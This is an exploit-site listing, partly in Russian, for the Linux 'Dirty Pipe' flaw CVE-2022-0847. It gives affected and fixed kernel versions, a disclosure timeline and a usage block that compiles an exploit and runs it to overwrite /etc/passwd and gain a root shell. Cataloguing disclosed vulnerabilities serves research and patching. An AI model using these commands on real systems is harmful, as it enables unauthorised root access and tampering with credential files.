Exploit for CVE-2022-0847

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-AL1EX-CVE-2022-0847
### Информация

root@kitploit:~
    
    
    Exploit Title: Local Privilege Escalation in Linux kernel (CVE-2022-0847)
    Date: 03/07/2022
    Exploit Author: Max Kellermann <some-email@example.com>
    Tested on: ubuntu 20.04.1 LTS
    Affect product:Linux kernel 5.8 or later
    Fixed Product:Linux kernel 5.16.11, 5.15.25, 5.10.102
    CVE ID: CVE-2022-0847
    

### Как эксплуатировать

Тестовое окружение：

![env](https://assets.kitploit.com/production/public/readmes/15118/eff217d752836c873e56646c08d52581246a878c5504b0c591bbb275d03ebee5.png)

Локальное повышение привилегий

root@kitploit:~
    
    
    cp /etc/passwd /tmp/passwd.bak
    gcc exp.c -o exp
    ./exp /etc/passwd 1 ootz:
    su rootz
    id
    

![exp](https://assets.kitploit.com/production/public/readmes/15118/b225b09bc4971da73414bb06694a6ca696ba202d07b512fcd3a90dfc4a5ddb9e.png)

### Ссылка

https://dirtypipe.cm4all.com/

### Хронология

  * 2021-04-29: первый тикет поддержки о повреждении файлов
  * 2022-02-19: проблема повреждения файлов была идентифицирована как ошибка ядра Linux, которая оказалась эксплуатируемой уязвимостью
  * 2022-02-20: отчёт об ошибке, эксплойт и патч отправлены команде безопасности ядра Linux
  * 2022-02-21: ошибка воспроизведена на Google Pixel 6; отчёт об ошибке отправлен команде безопасности Android
  * 2022-02-21: патч отправлен в LKML (без деталей уязвимости) по предложению Линуса Торвальдса, Вилли Тарро и Ала Виро
  * 2022-02-23: стабильные релизы Linux с моим исправлением ошибки (5.16.11, 5.15.25, 5.10.102)
  * 2022-02-24: Google объединяет моё исправление ошибки в ядро Android
  * 2022-02-28: уведомил список рассылки linux-distros
  * 2022-03-07: публичное раскрытие